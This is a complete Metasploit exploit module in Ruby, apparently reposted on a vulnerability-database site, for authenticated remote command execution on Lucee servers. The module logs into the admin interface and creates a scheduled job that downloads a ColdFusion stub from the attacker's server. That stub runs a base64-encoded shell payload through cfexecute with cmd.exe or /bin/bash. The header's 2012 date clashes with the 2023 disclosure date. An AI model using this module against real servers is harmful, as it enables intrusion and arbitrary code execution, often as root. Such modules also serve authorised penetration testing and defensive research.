# Exploit Title: Lucee Scheduled Job v1.0 - Command Execution
# Date: 3-23-2012
# Exploit Author: Alexander Philiotis
# Vendor Homepage: https://www.lucee.org/
# Software Link: https://download.lucee.org/
# Version: All versions with scheduled jobs enabled
# Tested on: Linux - Debian, Lubuntu & Windows 10
# Ref : https://www.synercomm.com/blog/scheduled-tasks-with-lucee-abusing-built-in-functionality-for-command-execution/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Retry
include Msf::Exploit::FileDropper
require 'base64'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
'Description' => %q{
This module can be used to execute a payload on Lucee servers that have an exposed
administrative web interface. It's possible for an administrator to create a
scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
on Linux, it is either the root user or lucee.
},
'Targets' => [
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'Author' => 'Alexander Philiotis', # [email protected]
'License' => MSF_LICENSE,
'References' => [
# This abuses the functionality inherent to the Lucee platform and
# thus is not related to any CVEs.
# Lucee Docs
['URL', 'https://docs.lucee.org/'],
# cfexecute & cfscript documentation
['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
['URL', 'https://docs.lucee.org/reference/tags/script.html'],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# /opt/lucee/server/lucee-server/context/logs/application.log
# /opt/lucee/web/logs/exception.log
IOC_IN_LOGS,
ARTIFACTS_ON_DISK,
# ColdFusion files located at the webroot of the Lucee server
# C:/lucee/tomcat/webapps/ROOT/ by default on Windows
# /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
]
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2023-02-10'
)
)
register_options(
[
Opt::RPORT(8888),
OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
]
)
deregister_options('URIPATH')
end
def exploit
payload_base = rand_text_alphanumeric(8..16)
authenticate
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
print_status("Payload request received for #{req.uri} from #{cli.peerhost}")
send_response(cli, cfm_stub)
end,
'Path' => '/' + payload_base + '.cfm'
}
})
#
# Create the scheduled job
#
create_job(payload_base)
#
# Execute the scheduled job and attempt to send a GET request to it.
#
execute_job(payload_base)
print_good('Exploit completed.')
#
# Removes the scheduled job
#
print_status('Removing scheduled job ' + payload_base)
cleanup_request = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'action' => 'services.schedule'
},
'vars_post' => {
'row_1' => '1',
'name_1' => payload_base.to_s,
'mainAction' => 'delete'
}
})
if cleanup_request && cleanup_request.code == 302
print_good('Scheduled job removed.')
else
print_bad('Failed to remove scheduled job.')
end
end
def authenticate
auth = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_post' => {
'login_passwordweb' => datastore['PASSWORD'],
'lang' => 'en',
'rememberMe' => 's',
'submit' => 'submit'
}
})
unless auth
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
unless auth.code == 200 && auth.body.include?('nav_Security')
fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
end
print_good('Authenticated successfully')
end
def create_job(payload_base)
create_job = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_get' => {
'action' => 'services.schedule',
'action2' => 'create'
},
'vars_post' => {
'name' => payload_base,
'url' => get_uri.to_s,
'interval' => '3600',
'start_day' => '01',
'start_month' => '02',
'start_year' => '2023',
'start_hour' => '00',
'start_minute' => '00',
'start_second' => '00',
'run' => 'create'
}
})
fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?
fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302
print_good('Job ' + payload_base + ' created successfully')
job_file_path = file_path = webroot
fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?
case target['Type']
when :unix_cmd
file_path << '/'
job_file_path = "#{job_file_path.gsub('/', '//')}//"
when :windows_cmd
file_path << '\\'
job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"
end
update_job = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'keep_cookies' => true,
'vars_get' => {
'action' => 'services.schedule',
'action2' => 'edit',
'task' => create_job.headers['location'].split('=')[-1]
},
'vars_post' => {
'name' => payload_base,
'url' => get_uri.to_s,
'port' => datastore['SRVPORT'],
'timeout' => '50',
'username' => '',
'password' => '',
'proxyserver' => '',
'proxyport' => '',
'proxyuser' => '',
'proxypassword' => '',
'publish' => 'true',
'file' => "#{job_file_path}#{payload_base}.cfm",
'start_day' => '01',
'start_month' => '02',
'start_year' => '2023',
'start_hour' => '00',
'start_minute' => '00',
'start_second' => '00',
'end_day' => '',
'end_month' => '',
'end_year' => '',
'end_hour' => '',
'end_minute' => '',
'end_second' => '',
'interval_hour' => '1',
'interval_minute' => '0',
'interval_second' => '0',
'run' => 'update'
}
})
fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?
fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200
register_files_for_cleanup("#{file_path}#{payload_base}.cfm")
print_good('Job ' + payload_base + ' updated successfully')
end
def execute_job(payload_base)
print_status("Executing scheduled job: #{payload_base}")
job_execution = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'action' => 'services.schedule'
},
'vars_post' => {
'row_1' => '1',
'name_1' => payload_base,
'mainAction' => 'execute'
}
})
fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?
fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200
print_good('Job ' + payload_base + ' executed successfully')
payload_response = nil
retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do
print_status('Attempting to access payload...')
payload_response = send_request_cgi(
'uri' => '/' + payload_base + '.cfm',
'method' => 'GET'
)
payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)
end
# Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.
fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500
if payload_response.nil?
print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
elsif payload_response.code == 200
print_good('Received 200 response from ' + payload_base + '.cfm')
output = payload_response.body.strip
if output.include?("\n")
print_good('Output:')
print_line(output)
elsif output.present?
print_good('Output: ' + output)
end
elsif payload_response.code == 500
print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
end
end
def webroot
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return nil unless res
res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text
end
def cfm_stub
case target['Type']
when :windows_cmd
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);
</cfscript>
CFM
when :unix_cmd
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);
</cfscript>
CFM
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation